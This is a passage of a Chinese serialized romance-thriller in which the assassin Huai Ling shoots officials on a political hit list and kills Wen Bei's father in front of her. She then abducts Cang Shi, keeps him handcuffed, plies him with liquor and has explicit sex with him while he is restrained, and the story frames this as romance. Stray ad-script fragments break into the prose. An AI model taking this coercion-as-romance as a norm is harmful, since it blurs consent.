“你站在这里也没用,只有实际的行动才能让陛下答应你的请求。”杜山还是看不过眼,他没忍住提醒了苍恃一句。 “我不会去的。”苍恃摇头。 “你是想赎罪?”杜山马上发现了苍恃的意图,他瞪大了眼睛,实在是无法理解为什么要这么做,“你会记得你碾死多少只蚂蚁吗?对皇帝来说,E区就是这样的存在,你竟然会有这样的心思,该说你是天真,还是愚蠢好?” “所以我说你们一个两个脑子都有点问题……算了,我是理解不了,对我来说,只要能执行任务就行,别的都和我没关系。” “你难道不觉得,就算是皇帝也会有错误的时候吗?”苍恃反问。 “我是士兵,不是皇帝,我的宗旨就是服从命令,除此之外我没资格发表意见,你也曾经是士兵,不应该问出这样的问题。” 苍恃看着杜山,杜山跟随皇帝已有数十年,或许对他来说,皇帝早就是如同信仰一般的存在。 但是苍恃不一样,他有着自己的意志……即便在前半的人生里,他总是为了其他人而活,如今他也想为了自己的人生努力一把,那是只有他自己才能做到的事情,不依附他人,也不随着他人的想法而随波逐流。 杜山的通讯器亮了一下,杜山马上查看传来的信息,他的眉头紧锁,苍恃没忍住问了一句。 “槐翎再次开始行动了,刚刚发现有三人死去。” “你猜猜她的名单上还有谁?就连我都能猜了个大概了,她这下是要把整个A区都搅得天翻地覆啊。” 也就在同时,苍恃的手机也传来了声音,他很久没查看过自己的手机,等看到信息的时候,他的表情终于有了明显的变化。 “救我,求求你!”那是温蓓发来的信息。 杜山饶有兴致地看着他,这下有意思了,命运女神真是残酷啊,这不是逼着他做出抉择吗? 苍恃,你会选择哪一边呢? 75. 第 75 章 祝译顺利地在槐翎提供的据点安定了下来,她躲在了一栋毫不起眼的居民楼里,邻居都是些普通得不能再普通的人,她之前从未来过D区,对D区的一切都感到十分的新鲜。 他们不像B区的人那样冷漠,也不像C区那样忙碌,D区的人虽然经济条件不好,但精神却是十足的富足,在这里祝译感受到了前所未有的安全感,或许是来自人类之间的群体性。 当初槐翎就猜到会有这么一出,所以提前和祝译说好了要留一条备用线路,同时为了防止祝渊那边出什么事情,这条备用线路是祝渊也不知道的,在终于连线到槐翎那边时,槐翎也明白过来祝译已经安全了。 只是祝渊那边情况就没那么好了。祝译自然也想到这一点,只是她依旧有着对祝渊的信任——她们是血浓于水的母女,有着其他人所没有的关联,这份看不见的关联让她们比世上的联盟都要牢固。 房子的隔音没那么好,祝译隐隐约约听见旁边在播放音乐,她把音量调大了些,但是旁边的音乐声却甚是霸道,她打开房门想要搜寻音乐的来源,当她打开门的那一刻,音乐声变得清晰又响亮,而她一下就认出来了,那是殷肆的歌。 按理说皇帝已经禁止殷肆的歌传播了,而他们却旁若无人地播放,甚至还有人跟着大声唱了起来。 祝译很想冲上去劝他们快停下,走廊上来来往往都是在聊天的人,有些人站在这里看手机,也有人围在那里说笑,总之没有一个人在意这项禁令。 祝译不能理解,她悄悄退了回去,外面传来了几个年轻女性说话的声音,她们充满活力,聊的不过是一些生活的琐事。 “她们为什么不害怕呢?”祝译问。 “你没听过他的歌?”槐翎反问,“殷肆是在D区出生长大的,对他们来说,殷肆就像是他们的家人。” 祝译倒是没在意过,槐翎这话本来也没想表达什么,却让祝译陷入了沉思,一个从D区出来的普通人,凭借着自己努力一步一步走到了B区,闻名全国,而这样的人宁愿牺牲自己的事业和生命也要供养反抗军,他想要的到底是什么呢? “昨天没有我的支援你也完成三个目标了,今天你有什么打算?”祝译没有忘记正事。 “今天的目标只有一个。”槐翎说这话时显得颇为轻松,“这个人是谁?我一点印象都没有了。” 祝译怔了一下,这个名单是她列的,没有任何私人恩怨,或许在某一天他们曾经擦肩而过,又或者曾经互相点头致意。 她想起来那个曾经用着甜美声线向自己搭话的少女,她们也曾经有过非常愉快的晚餐时间,如果让温蓓知道了,她一定会非常恨自己吧。 “他的位置是买回来的,就职后一直没有建树,因为没有实力,基本上靠着巴结其他人生存,是最明显的皇帝派了。其次他曾经公开反对过你的父母…他手下管着几家国家级媒体公司,是我们取回话语权的重要人物。”祝译还是把事实说了出来,她心里默念着对不起,但显然只能让她的心稍微好过些。 “知道了,我现在就去。”槐翎刚洗漱完,对于这样的小鱼小虾,她都懒得记住名字和长相,她简单搜索了一下有了大概的印象。 他所居住的公寓在A区的边缘,确实不太入流,开车过去需要半个小时。 槐翎把枪放在身上,她这次打算轻装上阵从正面突破,为了低调些,她今天开了一辆黑色的轿车。 * 温蓓惶恐不安地抓着苍恃的手,她原本那张总是透着粉红色的小脸在此刻变得惨淡无比,她原本是不知道发生了什么的,是出去和朋友逛街时听他们聊天才知道的。 槐翎回来A区了,她回来就算了,甚至在A区大肆杀人,一开始大家都觉得是她又发疯了四处找人发泄,后来有些人找到了被杀的那些人的共同点,他们或多或少都是站在皇帝那一派,要么就是蠢蠢欲动想要自立门户,有几个虽不符合这些共同点,但他们都有着自己管理的领域:经济、能源、军事、文化……槐翎正在收割这些人,她看似疯了,实则是把所有人都拉到棋盘上面去。 而温蓓很清楚自己的父亲,他对待工作虽然很随便,但是他依旧管理着好几家重要的公司,恰恰是这一点会招来杀身之祸。 温蓓只有这么一个亲人陪在自己身侧,在得知这一点后,她再也顾不上什么逛街购物了,她立马回家告诉自己的父亲,父亲也马上相信了这个推测,但是无权无势的他在A区根本没有任何话语权,而那些有话语权的大人物也或多或少已经被送下地狱了。 什么都没有的他,除了和自己的女儿紧紧抱在一起痛哭什么都做不到。 温蓓的脑子还是灵光一些,她立马想到了苍恃的存在,虽然之前外面都在传他已经被革职赶走,但温蓓还是抱着最后的希望向他发去求救的信息,只要有一线生机,她都不会放弃。 不幸中的万幸,苍恃还是来了。 温蓓两父女基本是跪在苍恃的身边,乞求他的帮忙,苍恃的脸上毫无血色,他站在那里既想让他们先松手,又担心让他们多出些不应有的恐慌。 在安抚他们了一顿后,苍恃让他们都坐下来好好谈一下。 也在温蓓口中,苍恃才知道了最近槐翎在做什么,他不过是碰巧才赶上槐翎在这里,而且他也向温蓓说明,那些的传言也是真实的,他早就被革职了,现在回来只是为了一些私事。 三个人都陷入了沉默,苍恃无意卷入槐翎的事情里面去,现在的他甚至没有任何武器在身上。 “你们离开A区吧,只要放弃这里的一切离开,她就不会追究了。”苍恃在久久地考虑后说出自己的建议。 “离开A区?”温蓓的声音瞬间拔高了,她站了起来,难以相信苍恃竟然会说这种话,“我们花了那么多时间和心血才爬到这里,在我们脚下那都是成千上万的尸体,现在让我们离开?不可能!我绝对,不会离开A区!就算是死,我的尸体也要埋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在这里!” “蓓蓓……”温蓓的父亲摇头让她不要再说下去了,他今年五十岁,整个人看上去保养得当,和四十岁差不多,浑身都散发出金钱堆砌的味道。 “爸爸!你也想想办法呀!难道你想就这么被那疯子打死吗?你没看到照片吗?他们的头都碎得找不回来了!”温蓓气得满脸通红,她再也没有过去那矜持的模样,取而代之的是她真实的模样,焦急与恐惧包围了她,让她看不清现在的状况。 “蓓蓓,我知道的!”他抱着温蓓,声音同样在颤抖,两行眼泪从眼角流下,“要不你先走吧?爸爸一个人在这里,没事的,我和她谈谈……” “你疯了?她是个彻头彻尾的疯子!你竟然还想和她谈!你不要命了……”温蓓也跟着哭了起来。 两父女就这么坐在沙发上抱头痛哭起来,苍恃看着他们这副样子,喉咙也是一紧什么都说不出来,如果他们愿意离开的话,他可以帮忙让他们去B区或者C区,但是现在看样子他们并不想抛弃A区的一切。 在生命面前,地位和金钱真的有那么重要吗? “那要不我们把她打死?”温父渐渐止住了眼泪,他四处张望,紧张兮兮地从自己房间的保险柜里拿出一把手枪,他脚步虚浮,手里却紧紧握着手枪,握在手里沉甸甸的。 温蓓的眼睛亮了起来,她也伸手去摸那把枪,却被枪身的冰冷吓了一跳。 “对啊,爸爸,她也是人类,只要在她进来的那一瞬间朝她开枪就好了,一枪不够我们就把子弹全都打完!”她在说这话的时候满脸都是癫狂,温蓓的笑容更甚,她顾不上拭去脸上的泪珠,只紧紧抱着温父。 苍恃不得不成为那个扫兴的人,他拿过枪查看了一下,因为没有经常保养,枪的状态看上去并不好,而且仅凭这一把手枪又该如何和全副武装的槐翎对抗呢? “我劝你们打消这个念头。”他这话说得足够冰冷,足够无情,马上就让温蓓的热血消失得无影无踪。 “那你做点什么啊?”温蓓的笑容冷了下来,她的目光里只剩下幽怨,那是对他的责怪。 苍恃被她的话语刺了一下,他是带着善意过来的,也为温蓓提供了解决办法,却只换来了这样的回报。 “蓓蓓,你不要这样说话。”温父见情况不对,马上出来圆场,他是个有眼力见的人,不然怎么能在尔虞我诈的A区里混得开。 “上校也是有自己的苦衷,他要是能帮早就帮我们了,他不也是不顾自己的生命来到这里的吗?” 温蓓听完,没有和温父预想中变得冷静,她冷笑一声,再次盯着苍恃恶狠狠地揭开他的伤疤。 “爸爸,你是不知道,他以前就是槐翎的一条狗,怎么会真心帮助我们?谁会想要离开A区?要我以后去别的地方生活,我都想吐。” 苍恃的脸白了,他握紧拳头,不明白温蓓为什么会变成这样,她说的那些话,除了发泄心里的恐惧之外,什么作用都没有。 76. 第 76 章 槐翎的鞋跟踩在地板上发出了清脆的响声,她抬头看了眼这毫不起眼的公寓,在A区这样的公寓算是普通的,夜晚的公寓静悄悄的,她走进电梯,按下目标所在的楼层。 正正好是十七楼。 她一点也不担心电梯摄像头看到自己,从口袋里拿出了手枪开始检查子弹数量,她这次出门带了两个弹匣,腿上还藏了一把更小的枪。 要对付一个小人物算是绰绰有余。 “你要小心些。”祝译的声音传进耳机里,她这话不知道是在对槐翎说,还是对温蓓说。 电梯门缓缓打开,槐翎双手放在口袋,有条不紊地走向这一层楼还亮着灯的公寓。 鞋跟的声音就像是落在心上的钟声,无人的走廊里,她宛如死神。 出于礼貌,槐翎还是按了门铃,门铃在这个公寓里显得格外突兀,没等槐翎按第二下,槐翎就听见了手枪发射的声音。 下一秒,一颗子弹穿过大门,擦过槐翎耳边的头发,她只微微侧头,感受到了子弹穿梭而过的速度。 只差一点,槐翎这么想着,她的头就会被击中。 “怎么了?”祝译自然是听见了这枪声。 “没事。”槐翎抬手关掉了耳机。 这种逃出生天的感觉让她顿时就肾上腺素狂飙,她露出了笑容,右手把枪拿了出来,紧接着她一脚踹开大门。 却在下一眼看见了绝对不应该出现在这里的人。 苍恃拿着枪站在前面,他下颌紧绷,还维持着开枪的姿势,温蓓和温父躲在沙发的后面,他们瑟瑟发抖,在看到槐翎的那一瞬间都自觉地闭上嘴巴。 槐翎很难说清楚自己看到苍恃是怎样的感受,她先是惊讶,然后是茫然,最后是愤怒,但是在这刹那她就明白过来怎么一回事了,理智也在这一刻占据了身体,做出了她应有的反应。 她毫不犹豫地向苍恃开了枪,子弹擦着他的肩膀击碎了后面的桌子,他的肩膀顿时血流如注,在他的衣服上晕开一片血色。 温蓓还没来得及尖叫,槐翎就左手拿出了备用的手枪,她直接瞄准了沙发,子弹穿过沙发的结构,留在了温父的头颅里。 在旁边的温蓓就这么看着温父倒了下来,他甚至发不出什么声音,整个人的性命在那子弹射出的时候就已经被收割,软绵绵地倒在地上发出了一声闷响。 温蓓瞪大了眼睛,她浑身都软了下来,想要叫,想要说话,想要流泪却什么都做不到,喉咙紧得让她痛苦不堪,她看着自己的父亲,刚刚还护着自己在怀里的父亲,现在翻着白眼毫无形象地被鲜血淋了满脸。 “别想着对我开枪。”槐翎的右手持枪指着苍恃,她这话不仅警告了苍恃,同时也警告了温蓓。 她刚刚没打中苍恃的头已是仁慈,再有下一次她就不会留情。 槐翎慢慢靠近温父,她必须要确定人已经死透,每个人都送上三颗子弹是她的准则,在她面前没有人能够侥幸存活。 “你已经达成目的了,还留在这里做什么?”苍恃咬着牙问,他捂着自己的伤口,因为出血量比预料要多,他只觉得头晕目眩,血液顺着他的肩膀流下来,让他连枪都要抓不住。 槐翎对他的质问充耳不闻,她逐步靠近温父,温蓓跪坐在地上,看着槐翎居高临下地一步步走来。 她感觉自己从未这么害怕过,她曾经害怕过体育测试,害怕过在大海游泳,那都是可以控制,可以规避的,但是现在真正看到槐翎时,她才真正体会到什么是濒死的恐惧。 她不敢言语,只怕自己激怒了槐翎。 温父身上的温热的血流了一地,温蓓感觉脚边湿湿的,她下意识回头看了一眼,猩红的一片从自己父亲的身上流出,入目便是无尽的殷红。 温蓓感觉心里有什么东西改变了,她浑身发抖,想要站起来却脚软得动弹不得,眼泪从她干涩的眼睛里流下,她死死瞪着槐翎,连睫毛也在颤动。 她把藏在口袋的手枪拿了出来,那是朋友私底下给她的,因为动作笨拙,她几乎要抓不住握把。 “不要!”苍恃见状立马出言阻止她。 但是温蓓完全听不见,她的耳朵里只剩下嗡鸣与自己的心跳声,她的心脏跳得实在太快太用力,快得她快要吐出来。 “你不在我的名单上面。”槐翎对她的反抗并不感到惊讶,“但是我不介意把你的名字写上去。” “够了,槐翎,她是无辜的!”苍恃快步走来,他顾不上身上的伤口,直接挡在二人之间,他眼里都是焦急,几滴冷汗从他发间流下,尽管如此依旧要护着在身后的温蓓。 “关你什么事?”槐翎皱起眉头,心里多了几分烦躁,她现在没有空和苍恃叙旧,偏偏这个人还要多管闲事挡着她的路。 温蓓从他身后走了出来,她那张曾经甜美的脸如今只剩下仇恨与不甘,她举着枪,再无对槐翎的恐惧。 “让开,苍恃,这是我和她之间的事情。”她的声音冷漠,暖橙色的灯光打在她的脸上,却感受不到什么温暖。 苍恃依旧站在原地,没有让开的意思。 他了解温蓓,知道她不过是受到了刺激,无法接受事实,如果这两个人真打起来,输家只会是温蓓……她还很年轻,还有生存的机会,在这里断送生命就太可惜了。 槐翎的目光在两个人身上来回打转,她轻蔑一笑,眼里满是不屑。 “上赶着送死的我还是第一次见。”槐翎说罢就要朝温蓓开枪,苍恃想也没想就扑了过去,他的力气很大,槐翎完全没猜到他竟然会这么扑过来,下意识就把枪口往上抬了几寸,子弹刚刚好错开,没有击中任何人,但是这也导致槐翎没有避开他的攻击,她被苍恃扑倒,整个人重重地倒在了冰冷的地板上。 她的头着地,这么一扑倒只觉得头晕目眩,不过她并未放开手里的枪,苍恃还想试图控制她的双手,迅速反应过来的槐翎看穿了他的意图,她用握把狠狠地击打了苍恃的后脑勺,他就这么软软地倒了下去。 槐翎推开压在身上的苍恃,她重新站了起来,直视举起枪已有一段时间的温蓓。 “你还在颤抖,明明刚刚就有那么好的机会向我开枪,你到底在害怕什么?”槐翎平静地说道。 被戳穿了的温蓓只咬紧牙关,她只觉得手里的枪有千斤重,重得她无法承受,明明只要开枪就好了,但是她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却犹豫了。 如果这一枪没打中,如果这一枪打到了苍恃,如果她真的打中了槐翎,这些问题都让温蓓足够思考一段时间。 “你真的无辜吗?你所享受的荣华富贵,你穿的定制衣服,佩戴的珍稀珠宝,哪个不是汲取他人生命而来的?” “你和你的父亲一样伪善,要想开枪就开吧,不过你真的有这个勇气吗?你连逃跑的勇气都没有,更何况是面对我呢?” “闭嘴!你这个疯子!你没有资格说我!”温蓓听不下去槐翎的话语,她面目狰狞,双目猩红,双手也不再颤抖,现在她的枪口已经对准了槐翎的身体,只要扣下扳机就能从这噩梦中醒来。 “这是何等的可悲。”槐翎一脚踢开沙发,温父藏在后面的尸体露了出来。 她没有急着对付温蓓,而是往温父的尸体又添加了两发子弹,他的尸体因为冲击抖动了两下,好像刚刚还活着。 “爸爸……”温蓓呆呆地看着槐翎的行为,她不理解为什么槐翎还要做这种事,任谁看了都知道温父已经死去,却还要侮辱他的尸体,非要在他的身上留下更多的弹孔,更多的血液涌了出来,温蓓泣不成声。 “槐翎,你去死吧,像你这样的人早该去死了!为什么会是你?你已经得到所有了,为什么还要夺去我的一切?因为你,他甚至都不正眼看我,因为你,我的爸爸离开了人世,从此我再无依靠,我的人生因为你变得一团糟,你才是害我变成这样的罪魁祸首!”温蓓发了狂,她学着槐翎的模样举枪,她嘶吼着扣下扳机,却无论怎么用力也按不下去,她的食指用力变得泛白,她竭尽全力,只希望再次听见子弹发射的声音,然而回答她的只有怪异的声音从枪身上传来,温蓓感觉有一捧冷水从她头顶浇下,让她发热的头脑瞬间冷了下来。 她呆滞地看着自己的枪,感觉到刚刚还在疯狂跳动的心脏慢了下来,她不明白发生了什么。 槐翎只静静地看她,听着温蓓的辱骂,她并未有任何情绪的波动。 “只是这样吗?就这样你就无法活下去了吗?” “……你在说什么?”温蓓摇摇欲坠,她无法理解槐翎的话。 “因为得不到他人的爱和庇护,你就找不到活下去的意义了吗?这样的你不就是一个附属品吗?你的价值只有这些了吗?” 温蓓沉默了,她听不懂,她不知道槐翎到底在说什么。 槐翎叹了口气,她是今天才认识的温蓓,和温蓓说这些话也不过是徒增烦恼,现在槐翎任务完成,也是时候离开了。 槐翎不顾温蓓,自顾自地蹲了下来,她看着苍恃的脸,他眉头紧锁,整个人都蜷缩在地上,槐翎想起来还有一笔账要跟他算。 于是她把苍恃扛了起来,温蓓看着她这是要把苍恃带走,脸上是止不住的慌乱,她连忙追了过来,顾不上脚边的温父尸体,溅了血的脸上只剩下楚楚可怜。 “你要带他去哪里?不,你不能带走他,我需要他……” 槐翎回头看向温蓓,她微笑着,嘴里说出来的话让温蓓不寒而栗。 “这是我的狗,不是你的。” 温蓓被她震慑住了,顿时瘫坐在地上。 77. 第 77 章 苍恃感觉身体昏昏沉沉的,后脑还有些微疼痛,他的喉咙也因为长时间未喝水变得疼痛,想要说话只能发出些不成句的音节。 “呜……”他想要喝水,下意识地动了手臂,却在这一刻发现自己的身体被固定了起来,他顿时清醒了过来,眼睛也终于适应了周围的黑暗。 他被捆在一个陌生的房间里,周围的装修风格似曾相识,但是他没有印象自己曾经来过这里,旁边放了一张床,没有任何装饰,右边则是衣帽间,门没有完全关上,能看到里面的衣服鞋子,苍恃辨认了一下,那都是女性的服饰。 在这个房间里还能听见水声,淅淅沥沥地从他背后传来,他想要回头看却被束缚了手脚,连控制身体都变得困难了起来。 也在这个时候他才发现自己的上衣不翼而飞,肩膀上的伤口也得到了处理,缝合得很漂亮,之后应该不会留疤。 明明是冬天的夜晚,他却感觉不到寒冷,手腕处的手铐被他的体温影响已经不再冰冷,苍恃初步判断自己在这里已经超过四个小时了。 身后的水声停止了,在这黑暗里他的听力变得尤为灵敏,他能听见有人走出来,取走了毛巾开始擦拭,然后细细簌簌地开始穿衣服。 虽然已经猜到是谁,但苍恃还是有了几分紧张。 几分钟后,槐翎从黑暗中走了出来,她发现苍恃已经醒了过来,但没有急着松绑,反而盯着他看了好一会。 “你比我预料中醒得要早一些。”槐翎抱着手臂站在他前面,居高临下地说话。 “咳!”苍恃想要说话,但干涸的喉咙让他做不到。 “喝水?” 他点头,殷切地看着槐翎。 槐翎从手边拿起一瓶液体,她自己直接对着瓶子喝了两口,然后把瓶口放到苍恃的嘴边,苍恃还没张嘴就能闻到冲鼻子的酒味。 他酒量不好,一直都不爱喝酒,但是水分就放在自己的面前,他的喉结滑动了几下,最终还是选择了妥协。 他抬起头来含着瓶口,浓烈的酒精味涌入他的身体,对水分的渴望战胜了一切,他顾不上正在燃烧的喉咙和胃部,大口大口喝着,就这么几秒喝了半瓶酒,直到身体再也承受不了酒精的灼热,他才松开瓶口,其余的酒液撒到他的身上,在他身上留下一片水渍。 槐翎放下瓶子,她眯着眼睛去看苍恃,眼里满是审视。 “你为什么会在A区?” 苍恃被酒呛得满脸通红,酒精尚未作用,他现在还能维持清醒。 “是为了我自己的事情。”他也是想不通,怎么碰巧回来一趟就能遇到那么多事情,偏偏自己就这么被卷进来了。 “在温蓓家里也是原因之一?” “不是。”苍恃摇头,“她只是害怕,所以叫了我过去。” “你可真善良。”槐翎这话里满是讽刺,苍恃的脸白了些,未敢出言反击。 “自己的事情指的是什么?”槐翎继续问,她站在苍恃面前,虽然手里没有拿着武器,但苍恃依旧能感觉到她与生俱来的压迫感。 “……”苍恃不想回答,他闭上嘴巴,又因为害怕被槐翎看穿内心的想法,他别过脸去,此时酒精已经开始作怪,他感觉到胃和喉咙似乎都要烧起来,烧得他的身体都变热了。 “不想说就算了。”槐翎看见他这个样子也没了继续问下去的意思,苍恃没想到槐翎会这么好说话,惊讶地抬头看她,却看见槐翎的眼睛亮晶晶的,在这黑暗里显得格外突兀。 他的肌肉很好看,肤色比槐翎还要白一些,身上的伤疤纵横交错,减少了他身体上的秀气,因为喝过酒,脸上透着粉红,他的短头发剪得很干净,长长的睫毛颤抖着,看着槐翎的眼神有不解,还有几分藏起来的眷恋,抿着的嘴唇被酒水打湿,看上去十分柔软。 槐翎盯着他看了好一会,心里只感觉到一阵悸动,舌尖舔过嘴唇。她是没想到会在A区再次遇到苍恃,但是既然上天给了她这个机会,她是个忠于自己欲望的人,偶尔放纵一下理应得到理解。更何况这个人竟然会在温蓓的家里对槐翎开枪,无论如何槐翎都得好好跟他算账。 她突然笑了起来,笑容很真挚,没有半分虚假的成分。 下一秒,她拉开外套的拉链,露出什么都没穿的上身。 苍恃在看到那片白皙皮肤的时候马上就扭头不敢再看,他的心脏在此时狂跳了起来,脸也顿时变得通红,他想要后退,手脚却被绑着动也动不了。 “你…你干什么?”他口齿不清,只觉得自己是喝醉了出现幻觉。 “你想跟我两清?我告诉你这不可能。”槐翎面不改色,她伸手把自己的头发绑成一个马尾,即便是这样出现在他人面前,她依旧没有半分羞涩。 她攀了上去,这句话从她嘴里说出来的时候足够直白,就像聊天聊到天气一样,槐翎大大咧咧地展示了自己的身躯,她是那么的完美,身上连一点疤痕都没有,肌肉线条明显,美得让人移不开目光。 苍恃不可控制地出现了反应,他满脸通红,连耳朵都红得要滴血,他不敢再看,却被她所吸引,在酒精的作用下,他感觉自己呼出来的气都是炽热的,灼得他无法呼吸。 拉链的声音在这安静的房间里显得格外刺耳,苍恃眼睛紧闭,却让身体的感觉更为明显,他能感觉到槐翎的手,那手虽然带着茧,因为微微出汗,手心却是顺滑的,他颤抖了一下,从喉咙深处溢出了声音,很低,但也被槐翎所捕捉。 她跟个妖精似的在苍恃耳边轻声笑了。 紧接着他感觉有比手心还有柔软顺滑的东西靠了过来,和他一样热得发烫,一样在呼唤更多的接触,槐翎把手放在苍恃的肩膀上,她的头靠着苍恃的耳朵,气息落在他的耳朵上。 “有经验吗?” 苍恃恨不得现在就被打晕,他支支吾吾,不知道该说什么好。 最后还是打算妥协实话实说,他摇头,因为想要挣脱束缚,手腕和脚腕都勒出了红痕,如果可以挣脱的话,他定要把槐翎的嘴巴堵上。 槐翎颇为满意,“我不喜欢用别人用过的。” 这句话本该是足够侮辱人的,但苍恃却只觉得身上迅速起了一身鸡皮疙瘩,他吐出浑浊的呼吸,和槐翎的气息混在一起,他们有着一样的味道。 紧接着是入侵,不适与火辣辣的疼。 苍恃痛得发出了低呼,很快出了一身汗,他不断活动手腕,试图挣脱但无济于事。 槐翎白了他一眼,她深呼吸数次,已没有勇气再继续下去,苍恃感觉自己的头晕乎乎的,他下颌绷紧,几滴汗顺着下巴流了下去,槐翎看到他这副模样顿时火冒三丈,她气急了,双手抱着苍恃的脸就这么凑上去啃他的嘴唇。 她力气很大,像是要把苍恃的嘴唇咬破,那是泄愤,也是转移注意力。 苍恃知道她难受,现在两个人都不好受,于是他主动地张开嘴巴,伸出舌头任由槐翎啃咬,这副乖顺的模样极大地取悦了槐翎,她的动作变温柔了些,两个人唇舌交织,互相追逐,时隔半年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的吻没有半分生疏,槐翎得了趣,身体稍微放松了些。 她含着苍恃的唇,身体紧紧贴着他,两具同样火热的身躯几乎密不可分。 苍恃全身都紧绷着,只感觉就像隔着靴子挠痒让他心痒难耐。 “唔!”苍恃皱着眉头,他想要让自己的身体动起来,但碍于手脚的束缚做不到,他恨死了槐翎,也恨她对自己做这样的事情。 槐翎才不会管他什么感受,她渐渐掌握了窍门,不出几分钟就明白了要怎么做就学会了,她调整角度,预设好力度,她的身体出了一身汗,在黑夜里像是镶满钻石的美玉,漂亮得让人挪不开眼。 她的表情变得迷离,高高昂起的头颅展示了她修长的脖子,两只手攀着苍恃的手臂,在往日总是冷静自持的脸上,就连苍恃也看到了她正在乐在其中——两颊染上了绯色。 她放肆地笑着,看着在自己的影响下渐渐失去理智,一起沉沦的苍恃。 她张嘴咬上苍恃的肩膀,小小的尖牙刺进他的皮肤,他默默承受了牙齿带来的痛楚。 苍恃断断续续说着胡话,他睁开眼睛,想要让槐翎从自己身上离开,槐翎却维持着同样的动作,她眯着眼睛从上到下审视苍恃。 “你怎么可以自己先结束?”她如同恶魔一样勾引苍恃,不过几秒后,苍恃再次恢复了状态。 “把我手松开。”苍恃恢复了些许理智,当务之急是要和槐翎讨价还价,他可不是毛头小子,被绑着的感觉可不好受。 “我有什么好处?”槐翎伏在他的肩头说话,她的手指抚过苍恃的胸膛,数不清的伤疤遍布他的身体,她安静地数着,却怎么也数不完。 “你会更快乐的。”苍恃咬牙切齿说道。 槐翎笑了出来,她根本不怕苍恃会做什么,但这显然是不错的交易,她离开椅子,在旁边的抽屉里拿出钥匙,苍恃看着她的身体,看到槐翎身上留下的东西,这让他面红耳赤不敢再看。 他身上的束缚终于被解除,在活动了僵硬的手腕后,他也得以离开那张已经变得一塌糊涂的椅子。 在槐翎的注视下,他也脱下自己的衣服,两个人面对面站着,他们的呼吸同频,眼睛紧紧盯着对方不放,根本无需言语。 苍恃往前走了一步,他压抑着自己狂跳的心脏,伸手把槐翎抱在了怀里,他动作很轻柔,又在接触到槐翎的那一刻变得无法控制,他紧紧地抱着她,像是在反复确认槐翎是否真的存在。 不等槐翎说话,他用力地吻上了槐翎的唇,他吻得很毛躁,这是在发泄自己的不满,他所有的委屈,对槐翎的怨恨,这个吻消解了过去的种种,他流着泪,温柔地轻吻了槐翎的每一寸肌肤。 槐翎觉得这个人实在太爱哭了些,明明每次见到她的时候都很好欺负,稍微碰一下就能落泪,又偏偏装作一副冷冰冰的模样,恨不得离她有几千米那么远。 她的头发散开缠在身上,和洁白如玉的身体相得映彰,摄人心魄。 苍恃低头看着她,指尖像是在抚摸世间难得的美玉。 她从未如此渴望过苍恃的拥抱,主动伸手向苍恃寻求温暖,苍恃也同样回应了她,两个人紧紧抱着,不愿再分开。 苍恃的眼神却不像是已得到满足,他舔了舔干裂的嘴唇,深邃的眼睛里只余下眼前的唯一。 槐翎笑了起来,她盯着苍恃,勾了勾手指头。 和火热的房间不同,外面此时正在飘着细细的雪花,在地上积了一层白色,深冬的夜晚确实要更漫长些。 78. 第 78 章 外面的雪还在下。 槐翎久违地睡了整觉,她很少体会到这种睡眠充足的感觉。 她翻了个身还想继续睡,却感觉到旁边原来还有个人,槐翎睁开眼睛,看见苍恃正睡在旁边,两个人都没穿衣服,只有一张薄薄的被子盖在身上。 她花了些时间整理自己的情绪,并未急着叫醒他。 原本脑海里混乱的思绪全都在此刻消弭,她已经再也体会不到那种漂浮在空中的不安感,随之而来的是强烈的,前所未有的充实感。 槐翎安静地盯着他,看着他呼吸时起伏的胸膛,一颤一颤的睫毛,脖子和肩膀上还留有她咬过的印子,浅浅的,和那些伤疤完全不同,她突然有了一种心满意足的感觉。 接着,她伸出手指去描绘苍恃的脸,一点一点的去触摸他的肌肤:没有防备的时候才会放松下来的眉毛,眼睛下的浅黑色印子,笑起来时才会出现的皱纹,冒出了胡茬的下巴。 槐翎坏心眼地戳了戳他的嘴唇,他的眼睛稍微动了一下,然后缓缓睁开了眼睛,那是和六年前截然不同的眼神,深邃但亮着光。 他原本还有些迷糊,等看到槐翎睡在自己身边时,他猛地伸手把槐翎抓到自己怀里,用被子把她整个人裹了起来,像是生怕槐翎就这么离开。 “饿了。”槐翎差点被他捂死,她拍拍他的胸膛,过了好一会后苍恃才舍得放开她,他揉揉眼睛,用带着鼻音的声音问槐翎想吃什么。 “都行。”槐翎翻了个身,她没有说出下半句,其实只要是苍恃做的都可以。 苍恃还是第一次看到槐翎这副模样,他的嘴角上扬,没忍住低头吻了槐翎的额头,槐翎嫌弃地推开他,“没刷牙别碰我。” “知道了。”苍恃一点也不生气,他从床边拿了件衣服套上,打着哈欠离开了房间,等他出去后才发现自己一晚上都在槐翎的公寓里。 难怪他看了觉得似曾相识,原来兜兜转转他又回来这里了。 家具和各种陈设都没有变化,苍恃不禁有些恍惚,他一直都想回到这里。 只是等他看到满柜子的罐头和空荡荡的冰箱时,他头一次犯了难,要做饭不是问题,但是没有食材要怎么做才行? 苍恃只好利用罐头简单地做了一点吃的,希望槐翎不要嫌弃为好。 半个小时后,槐翎才懒洋洋地从房间出来,她随便套了件衣服,在看到桌面上热乎乎的食物时,她眼睛一亮。 苍恃笑着看了好一会,想起来自己还没有洗漱,赶紧回自己的房间洗了个澡,还把长出来的胡茬弄干净了,清清爽爽地回到大厅,可惜五年前的衣服他不大合穿,只能穿回脏衣服。 槐翎此时正蹲在洗衣机前,看着衣服在里面翻滚。 苍恃想起来之前槐翎也是这样蹲在自己的洗衣机前,她的侧脸没有丝毫变化,不说话的时候也能感受到她从内到外散发的坚毅。 他走上前去亲槐翎的嘴角,槐翎也不拒绝,任由他这么亲着,两个人靠着洗衣机相拥相吻。 槐翎是休息好了,她按着苍恃在沙发上来了一次,不需要任何言语,只需要一个眼神,他们默契的身体就知道该如何获得快乐。 公寓的暖气不足,槐翎窝在沙发上休息,苍恃生怕槐翎离开,只得双手环抱她圈在怀里,而槐翎也没抗拒,头枕着他的肩膀,感受着来自身后的温暖。 “你有什么打算?”槐翎闭着眼,她还在品味快感的余韵,整个人就像盛开的玫瑰一样艳丽。 